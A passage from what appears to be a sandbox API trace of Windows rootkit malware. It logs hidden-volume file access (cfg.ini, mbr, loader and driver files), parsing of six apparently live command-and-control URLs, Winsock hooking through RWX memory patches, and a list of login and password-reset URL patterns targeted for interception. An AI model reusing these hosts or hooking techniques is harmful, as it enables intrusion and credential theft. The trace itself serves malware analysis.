ChargeQuota=0, Irp=0xfffffa800393ec30 | out: Irp=0xfffffa800393ec30) returned 0xfffffa80038277e0 [0110.237] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038277e0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038277e0) [0110.238] KeInitializeEvent (in: Event=0xfffff880027da2c0, Type=0x0, State=0 | out: Event=0xfffff880027da2c0) [0110.238] IdePortDispatch () returned 0x103 [0110.238] KeWaitForMutexObject () returned 0x0 [0110.238] _strnicmp (_Str1="cfg.ini", _Str="bckfg.tmp", _MaxCount=0x10) returned 1 [0110.238] _strnicmp (_Str1="mbr", _Str="bckfg.tmp", _MaxCount=0x10) returned 11 [0110.238] _strnicmp (_Str1="ldr16", _Str="bckfg.tmp", _MaxCount=0x10) returned 10 [0110.238] _strnicmp (_Str1="ldr32", _Str="bckfg.tmp", _MaxCount=0x10) returned 10 [0110.238] _strnicmp (_Str1="ldr64", _Str="bckfg.tmp", _MaxCount=0x10) returned 10 [0110.238] _strnicmp (_Str1="drv32", _Str="bckfg.tmp", _MaxCount=0x10) returned 2 [0110.238] _strnicmp (_Str1="drv64", _Str="bckfg.tmp", _MaxCount=0x10) returned 2 [0110.238] _strnicmp (_Str1="cmd.dll", _Str="bckfg.tmp", _MaxCount=0x10) returned 1 [0110.238] _strnicmp (_Str1="cmd64.dll", _Str="bckfg.tmp", _MaxCount=0x10) returned 1 [0110.238] _strnicmp (_Str1="bckfg.tmp", _Str="bckfg.tmp", _MaxCount=0x10) returned 0 [0110.238] _strnicmp (_Str1="cmd.dll", _Str="bckfg.tmp", _MaxCount=0x10) returned 1 [0110.238] _strnicmp (_Str1="cmd64.dll", _Str="bckfg.tmp", _MaxCount=0x10) returned 1 [0110.238] strncpy (in: _Dest=0xfffffa80027daf68, _Source="bckfg.tmp", _Count=0x10 | out: _Dest="bckfg.tmp") returned="bckfg.tmp" [0110.238] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0110.238] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003b41af0 [0110.238] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0110.238] KeLeaveCriticalRegion () [0110.238] IofCompleteRequest (Irp=0xfffffa80028a3850, PriorityBoost=0) [0110.238] ReadFile (in: hFile=0x16c, lpBuffer=0xb4e350, nNumberOfBytesToRead=0x21a, lpNumberOfBytesRead=0x101f5b8, lpOverlapped=0x0 | out: lpBuffer=0xb4e350*, lpNumberOfBytesRead=0x101f5b8*=0x21a, lpOverlapped=0x0) returned 1 [0110.238] _snprintf (in: _Dest=0xfffff880027da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\bckfg.tmp") returned 18 [0110.238] KeEnterCriticalRegion () [0110.238] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0110.238] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80038277e0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000010) returned 0xfffff88000bc6350 [0110.238] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800393ec30 [0110.238] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800393ec30 | out: Irp=0xfffffa800393ec30) returned 0xfffffa80038a5010 [0110.238] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0110.238] KeInitializeEvent (in: Event=0xfffff880027da5d0, Type=0x0, State=0 | out: Event=0xfffff880027da5d0) [0110.238] IdePortDispatch () returned 0x103 [0110.240] KeWaitForMutexObject () returned 0x0 [0110.240] _strnicmp (_Str1="cfg.ini", _Str="bckfg.tmp", _MaxCount=0x10) returned 1 [0110.240] _strnicmp (_Str1="mbr", _Str="bckfg.tmp", _MaxCount=0x10) returned 11 [0110.240] _strnicmp (_Str1="ldr16", _Str="bckfg.tmp", _MaxCount=0x10) returned 10 [0110.240] _strnicmp (_Str1="ldr32", _Str="bckfg.tmp", _MaxCount=0x10) returned 10 [0110.240] _strnicmp (_Str1="ldr64", _Str="bckfg.tmp", _MaxCount=0x10) returned 10 [0110.240] _strnicmp (_Str1="drv32", _Str="bckfg.tmp", _MaxCount=0x10) returned 2 [0110.240] _strnicmp (_Str1="drv64", _Str="bckfg.tmp", _MaxCount=0x10) returned 2 [0110.240] _strnicmp (_Str1="cmd.dll", _Str="bckfg.tmp", _MaxCount=0x10) returned 1 [0110.240] _strnicmp (_Str1="cmd64.dll", _Str="bckfg.tmp", _MaxCount=0x10) returned 1 [0110.240] _strnicmp (_Str1="bckfg.tmp", _Str="bckfg.tmp", _MaxCount=0x10) returned 0 [0110.240] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800393ec30 [0110.240] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800393ec30 | out: Irp=0xfffffa800393ec30) returned 0xfffffa80038a5010 [0110.241] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0110.241] KeInitializeEvent (in: Event=0xfffff880027da5d0, Type=0x0, State=0 | out: Event=0xfffff880027da5d0) [0110.241] IdePortDispatch () returned 0x103 [0110.241] KeWaitForMutexObject () returned 0x0 [0110.241] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800393ec30 [0110.241] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800393ec30 | out: Irp=0xfffffa800393ec30) returned 0xfffffa80038a5010 [0110.241] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0110.241] KeInitializeEvent (in: Event=0xfffff880027da5d0, Type=0x0, State=0 | out: Event=0xfffff880027da5d0) [0110.241] IdePortDispatch () returned 0x103 [0110.241] KeWaitForMutexObject () returned 0x0 [0110.241] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0110.241] KeLeaveCriticalRegion () [0110.241] IofCompleteRequest (Irp=0xfffffa80028a3850, PriorityBoost=0) [0110.251] CloseHandle (hObject=0x16c) returned 1 [0110.251] _snprintf (in: _Dest=0xfffff880027da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\bckfg.tmp") returned 18 [0110.251] KeEnterCriticalRegion () [0110.251] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0110.251] IoGetRequestorProcess (Irp=0xfffffa80028a3850) returned 0xfffffa800389eb30 [0110.251] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003b44af0, ProcessId=0xfffffa800389eb30, Context=0x0) returned 0xc000007e [0110.251] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0110.251] KeLeaveCriticalRegion () [0110.251] IofCompleteRequest (Irp=0xfffffa80028a3850, PriorityBoost=0) [0110.251] _snprintf (in: _Dest=0xfffff880027da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\bckfg.tmp") returned 18 [0110.251] KeEnterCriticalRegion () [0110.251] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0110.251] ExFreePoolWithTag (P=0xfffffa8003b41af0, Tag=0x0) [0110.251] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0110.251] KeLeaveCriticalRegion () [0110.251] IofCompleteRequest (Irp=0xfffffa80028a3850, PriorityBoost=0) [0110.252] strncat (in: _Dest=0x380000, _Source="http://6zrt3vuwf-39qwkam.com/;http://l90mbzioptrhwnnj4f.com/;http://y8hf3idulwmvdt.com/;http://faqhxbyjmre4selq.com/;http://mnip-6tqtunl.com/;http://v1zlngx5vdjsnazw8.com/", _Count=0x4fff | out: _Dest="http://6zrt3vuwf-39qwkam.com/;http://l90mbzioptrhwnnj4f.com/;http://y8hf3idulwmvdt.com/;http://faqhxbyjmre4selq.com/;http://mnip-6tqtunl.com/;http://v1zlngx5vdjsnazw8.com/") returned="http://6zrt3vuwf-39qwkam.com/;http://l90mbzioptrhwnnj4f.com/;http://y8hf3idulwmvdt.com/;http://faqhxbyjmre4selq.com/;http://mnip-6tqtunl.com/;http://v1zlngx5vdjsnazw8.com/" [0110.252] strncat (in: _Dest=0x380000, _Source=";", _Count=0x4f54 | out: _Dest="http://6zrt3vuwf-39qwkam.com/;http://l90mbzioptrhwnnj4f.com/;http://y8hf3idulwmvdt.com/;http://faqhxbyjmre4selq.com/;http://mnip-6tqtunl.com/;http://v1zlngx5vdjsnazw8.com/;") returned="http://6zrt3vuwf-39qwkam.com/;http://l90mbzioptrhwnnj4f.com/;http://y8hf3idulwmvdt.com/;http://faqhxbyjmre4selq.com/;http://mnip-6tqtunl.com/;http://v1zlngx5vdjsnazw8.com/;" [0110.252] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0xffffffff) returned 0x0 [0110.252] GetPrivateProfileStringA (in: lpAppName="cmd", lpKeyName="csrv", lpDefault="", lpReturnedString=0xb4e7d0, nSize=0xfff, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0110.252] _snprintf (in: _Dest=0xfffff880027da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0110.252] KeEnterCriticalRegion () [0110.252] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0110.252] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800393ec30 [0110.252] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800393ec30 | out: Irp=0xfffffa800393ec30) returned 0xfffffa80038277e0 [0110.252] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038277e0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038277e0) [0110.252] KeInitializeEvent (in: Event=0xfffff880027da2c0, Type=0x0, State=0 | out: Event=0xfffff880027da2c0) [0110.252] IdePortDispatch () returned 0x103 [0110.252] KeWaitForMutexObject () returned 0x0 [0110.253] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0110.253] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0110.253] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0110.253] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0110.253] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0110.253] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003b3e4f0 [0110.253] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0110.253] KeLeaveCriticalRegion () [0110.253] IofCompleteRequest (Irp=0xfffffa80028a3850, PriorityBoost=0) [0110.253] _snprintf (in: _Dest=0xfffff880027da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0110.253] KeEnterCriticalRegion () [0110.253] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0110.253] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80028a3850, Context=0x0) returned 0x0 [0110.253] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0110.253] KeLeaveCriticalRegion () [0110.253] _snprintf (in: _Dest=0xfffff880027da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0110.254] KeEnterCriticalRegion () [0110.254] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0110.254] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800393ec30 [0110.254] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800393ec30 | out: Irp=0xfffffa800393ec30) returned 0xfffffa80038277e0 [0110.254] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038277e0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038277e0) [0110.254] KeInitializeEvent (in: Event=0xfffff880027da620, Type=0x0, State=0 | out: Event=0xfffff880027da620) [0110.254] IdePortDispatch () returned 0x103 [0110.254] KeWaitForMutexObject () returned 0x0 [0110.254] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0110.254] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0110.254] KeLeaveCriticalRegion () [0110.254] IofCompleteRequest (Irp=0xfffffa80028a3850, PriorityBoost=0) [0110.254] _snprintf (in: _Dest=0xfffff880027da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0110.254] KeEnterCriticalRegion () [0110.254] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0110.254] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80038277e0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000bc8000 [0110.254] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800393ec30 [0110.254] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800393ec30 | out: Irp=0xfffffa800393ec30) returned 0xfffffa80038a5010 [0110.254] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0110.254] KeInitializeEvent (in: Event=0xfffff880027da5d0, Type=0x0, State=0 | out: Event=0xfffff880027da5d0) [0110.254] IdePortDispatch () returned 0x103 [0110.255] KeWaitForMutexObject () returned 0x0 [0110.255] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0110.255] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800393ec30 [0110.255] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800393ec30 | out: Irp=0xfffffa800393ec30) returned 0xfffffa80038a5010 [0110.255] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0110.255] KeInitializeEvent (in: Event=0xfffff880027da5d0, Type=0x0, State=0 | out: Event=0xfffff880027da5d0) [0110.255] IdePortDispatch () returned 0x103 [0110.255] KeWaitForMutexObject () returned 0x0 [0110.255] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0110.255] KeLeaveCriticalRegion () [0110.255] IofCompleteRequest (Irp=0xfffffa80028a3850, PriorityBoost=0) [0110.255] _snprintf (in: _Dest=0xfffff880027da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0110.255] KeEnterCriticalRegion () [0110.255] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0110.255] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80028a3850, Context=0x0) returned 0x0 [0110.255] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0110.255] KeLeaveCriticalRegion () [0110.256] _snprintf (in: _Dest=0xfffff880027da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0110.256] KeEnterCriticalRegion () [0110.256] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0110.256] IoGetRequestorProcess (Irp=0xfffffa80028a3850) returned 0xfffffa800389eb30 [0110.256] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8007ffbbc0, ProcessId=0xfffffa800389eb30, Context=0x0) returned 0xc000007e [0110.256] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0110.256] KeLeaveCriticalRegion () [0110.256] IofCompleteRequest (Irp=0xfffffa80028a3850, PriorityBoost=0) [0110.256] _snprintf (in: _Dest=0xfffff880027da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0110.256] KeEnterCriticalRegion () [0110.256] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0110.256] ExFreePoolWithTag (P=0xfffffa8003b3e4f0, Tag=0x0) [0110.256] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0110.256] KeLeaveCriticalRegion () [0110.256] IofCompleteRequest (Irp=0xfffffa80028a3850, PriorityBoost=0) [0110.256] ReleaseMutex (hMutex=0x130) returned 1 [0110.256] strncmp (_Str1="http://6zrt3vuwf-39qwkam.com/;http://l90mbzioptrhwnnj4f.com/;http://y8hf3idulwmvdt.com/;http://faqhxbyjmre4selq.com/;http://mnip-6tqtunl.com/;http://v1zlngx5vdjsnazw8.com/;", _Str2=";", _MaxCount=0x1) returned 45 [0110.256] strstr (_Str="http://6zrt3vuwf-39qwkam.com/;http://l90mbzioptrhwnnj4f.com/;http://y8hf3idulwmvdt.com/;http://faqhxbyjmre4selq.com/;http://mnip-6tqtunl.com/;http://v1zlngx5vdjsnazw8.com/;", _SubStr=";") returned=";http://l90mbzioptrhwnnj4f.com/;http://y8hf3idulwmvdt.com/;http://faqhxbyjmre4selq.com/;http://mnip-6tqtunl.com/;http://v1zlngx5vdjsnazw8.com/;" [0110.256] strstr (_Str="http://l90mbzioptrhwnnj4f.com/;http://y8hf3idulwmvdt.com/;http://faqhxbyjmre4selq.com/;http://mnip-6tqtunl.com/;http://v1zlngx5vdjsnazw8.com/;", _SubStr=";") returned=";http://y8hf3idulwmvdt.com/;http://faqhxbyjmre4selq.com/;http://mnip-6tqtunl.com/;http://v1zlngx5vdjsnazw8.com/;" [0110.256] strstr (_Str="http://y8hf3idulwmvdt.com/;http://faqhxbyjmre4selq.com/;http://mnip-6tqtunl.com/;http://v1zlngx5vdjsnazw8.com/;", _SubStr=";") returned=";http://faqhxbyjmre4selq.com/;http://mnip-6tqtunl.com/;http://v1zlngx5vdjsnazw8.com/;" [0110.256] strstr (_Str="http://faqhxbyjmre4selq.com/;http://mnip-6tqtunl.com/;http://v1zlngx5vdjsnazw8.com/;", _SubStr=";") returned=";http://mnip-6tqtunl.com/;http://v1zlngx5vdjsnazw8.com/;" [0110.256] strstr (_Str="http://mnip-6tqtunl.com/;http://v1zlngx5vdjsnazw8.com/;", _SubStr=";") returned=";http://v1zlngx5vdjsnazw8.com/;" [0110.256] strstr (_Str="http://v1zlngx5vdjsnazw8.com/;", _SubStr=";") returned=";" [0110.256] strstr (_Str="http://6zrt3vuwf-39qwkam.com/;http://l90mbzioptrhwnnj4f.com/;http://y8hf3idulwmvdt.com/;http://faqhxbyjmre4selq.com/;http://mnip-6tqtunl.com/;http://v1zlngx5vdjsnazw8.com/;", _SubStr=";") returned=";http://l90mbzioptrhwnnj4f.com/;http://y8hf3idulwmvdt.com/;http://faqhxbyjmre4selq.com/;http://mnip-6tqtunl.com/;http://v1zlngx5vdjsnazw8.com/;" [0110.256] strstr (_Str="http://l90mbzioptrhwnnj4f.com/;http://y8hf3idulwmvdt.com/;http://faqhxbyjmre4selq.com/;http://mnip-6tqtunl.com/;http://v1zlngx5vdjsnazw8.com/;", _SubStr=";") returned=";http://y8hf3idulwmvdt.com/;http://faqhxbyjmre4selq.com/;http://mnip-6tqtunl.com/;http://v1zlngx5vdjsnazw8.com/;" [0110.256] strstr (_Str="http://y8hf3idulwmvdt.com/;http://faqhxbyjmre4selq.com/;http://mnip-6tqtunl.com/;http://v1zlngx5vdjsnazw8.com/;", _SubStr=";") returned=";http://faqhxbyjmre4selq.com/;http://mnip-6tqtunl.com/;http://v1zlngx5vdjsnazw8.com/;" [0110.256] strstr (_Str="http://faqhxbyjmre4selq.com/;http://mnip-6tqtunl.com/;http://v1zlngx5vdjsnazw8.com/;", _SubStr=";") returned=";http://mnip-6tqtunl.com/;http://v1zlngx5vdjsnazw8.com/;" [0110.256] strstr (_Str="http://mnip-6tqtunl.com/;http://v1zlngx5vdjsnazw8.com/;", _SubStr=";") returned=";http://v1zlngx5vdjsnazw8.com/;" [0110.256] strstr (_Str="http://v1zlngx5vdjsnazw8.com/;", _SubStr=";") returned=";" [0110.256] LoadLibraryA (lpLibFileName="atl.dll") returned 0x75850000 [0110.257] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000bea000 [0110.257] IdePortDispatch () returned 0x103 [0110.258] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffff880027da6a0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000bec000 [0110.258] IdePortDispatch () returned 0x103 [0110.258] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000bef000 [0110.259] IdePortDispatch () returned 0x103 [0110.259] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\SysWOW64\\atl.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0110.259] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000bf1000 [0110.259] IdePortDispatch () returned 0x103 [0110.260] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c02000 [0110.260] IdePortDispatch () returned 0x103 [0110.261] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c06000 [0110.261] IdePortDispatch () returned 0x103 [0110.261] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c0f000 [0110.261] IdePortDispatch () returned 0x103 [0110.262] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c13000 [0110.262] IdePortDispatch () returned 0x103 [0110.274] LoadLibraryA (lpLibFileName="oleaut32.dll") returned 0x77950000 [0110.274] GetProcAddress (hModule=0x75850000, lpProcName="AtlAdvise") returned 0x75854ea7 [0110.274] GetProcAddress (hModule=0x75850000, lpProcName="AtlUnadvise") returned 0x75854f25 [0110.274] GetProcAddress (hModule=0x75850000, lpProcName="AtlAxCreateControlEx") returned 0x7585c58c [0110.274] GetProcAddress (hModule=0x77950000, lpProcName="SysFreeString") returned 0x77953e59 [0110.275] GetModuleHandleA (lpModuleName="mswsock") returned 0x75740000 [0110.275] GetModuleHandleA (lpModuleName="ws2_32") returned 0x774d0000 [0110.275] GetProcAddress (hModule=0x774d0000, lpProcName="WSAStartup") returned 0x774d3ab2 [0110.275] GetProcAddress (hModule=0x774d0000, lpProcName="WSASocketA") returned 0x774dc82a [0110.275] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x101f658 | out: lpWSAData=0x101f658) returned 0 [0110.275] WSASocketA (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x0) returned 0x178 [0110.275] GetProcAddress (hModule=0x75740000, lpProcName="WSPStartup") returned 0x75748a9b [0110.275] WSPStartup () returned 0x0 [0110.275] VirtualAlloc (lpAddress=0x0, dwSize=0x2a, flAllocationType=0x3000, flProtect=0x40) returned 0x380000 [0110.276] VirtualProtect (in: lpAddress=0x757441a7, dwSize=0x5, flNewProtect=0x40, lpflOldProtect=0x101f2f4 | out: lpflOldProtect=0x101f2f4*=0x20) returned 1 [0110.276] VirtualProtect (in: lpAddress=0x757441a7, dwSize=0x5, flNewProtect=0x20, lpflOldProtect=0x101f2f4 | out: lpflOldProtect=0x101f2f4*=0x40) returned 1 [0110.276] VirtualAlloc (lpAddress=0x0, dwSize=0x2a, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0110.276] VirtualProtect (in: lpAddress=0x75744405, dwSize=0x5, flNewProtect=0x40, lpflOldProtect=0x101f2f4 | out: lpflOldProtect=0x101f2f4*=0x20) returned 1 [0110.276] VirtualProtect (in: lpAddress=0x75744405, dwSize=0x5, flNewProtect=0x20, lpflOldProtect=0x101f2f4 | out: lpflOldProtect=0x101f2f4*=0x40) returned 1 [0110.276] VirtualAlloc (lpAddress=0x0, dwSize=0x2a, flAllocationType=0x3000, flProtect=0x40) returned 0x3e0000 [0110.276] VirtualProtect (in: lpAddress=0x75742bf9, dwSize=0x5, flNewProtect=0x40, lpflOldProtect=0x101f2f4 | out: lpflOldProtect=0x101f2f4*=0x20) returned 1 [0110.276] VirtualProtect (in: lpAddress=0x75742bf9, dwSize=0x5, flNewProtect=0x20, lpflOldProtect=0x101f2f4 | out: lpflOldProtect=0x101f2f4*=0x40) returned 1 [0110.277] RtlInitializeGenericTable (in: Table=0xb4e220, CompareRoutine=0x17383, AllocateRoutine=0x1b649, FreeRoutine=0x1b658, TableContext=0x0 | out: Table=0xb4e220) [0110.277] RtlInitializeGenericTable (in: Table=0xb4e268, CompareRoutine=0x17383, AllocateRoutine=0x1b649, FreeRoutine=0x1b658, TableContext=0x0 | out: Table=0xb4e268) [0110.277] RtlInitializeGenericTable (in: Table=0xb4e2b0, CompareRoutine=0x1771b, AllocateRoutine=0x1b649, FreeRoutine=0x1b658, TableContext=0x0 | out: Table=0xb4e2b0) [0110.277] RtlInitializeGenericTable (in: Table=0xb4e2f8, CompareRoutine=0x17905, AllocateRoutine=0x1b649, FreeRoutine=0x1b658, TableContext=0x0 | out: Table=0xb4e2f8) [0110.277] QueueUserWorkItem (Function=0x1b04a, Context=0x0, Flags=0x10) returned 1 [0110.277] strncmp (_Str1="/login/;/tweet/;action=embed-flash;/faq/;/terms/;/contact/;/Forgotpassword/;d.gossipcenter.com/ck.php", _Str2=";", _MaxCount=0x1) returned -12 [0110.277] strstr (_Str="/login/;/tweet/;action=embed-flash;/faq/;/terms/;/contact/;/Forgotpassword/;d.gossipcenter.com/ck.php", _SubStr=";") returned=";/tweet/;action=embed-flash;/faq/;/terms/;/contact/;/Forgotpassword/;d.gossipcenter.com/ck.php" [0110.277] strstr (_Str="/tweet/;action=embed-flash;/faq/;/terms/;/contact/;/Forgotpassword/;d.gossipcenter.com/ck.php", _SubStr=";") returned=";action=embed-flash;/faq/;/terms/;/contact/;/Forgotpassword/;d.gossipcenter.com/ck.php" [0110.277] strstr (_Str="action=embed-flash;/faq/;/terms/;/contact/;/Forgotpassword/;d.gossipcenter.com/ck.php", _SubStr=";") returned=";/faq/;/terms/;/contact/;/Forgotpassword/;d.gossipcenter.com/ck.php" [0110.277] strstr (_Str="/faq/;/terms/;/contact/;/Forgotpassword/;d.gossipcenter.com/ck.php", _SubStr=";") returned=";/terms/;/contact/;/Forgotpassword/;d.gossipcenter.com/ck.php" [0110.277] strstr (_Str="/terms/;/contact/;/Forgotpassword/;d.gossipcenter.com/ck.php", _SubStr=";") returned=";/contact/;/Forgotpassword/;d.gossipcenter.com/ck.php" [0110.277] strstr (_Str="/contact/;/Forgotpassword/;d.gossipcenter.com/ck.php", _SubStr=";") returned=";/Forgotpassword/;d.gossipcenter.com/ck.php" [0110.277] strstr 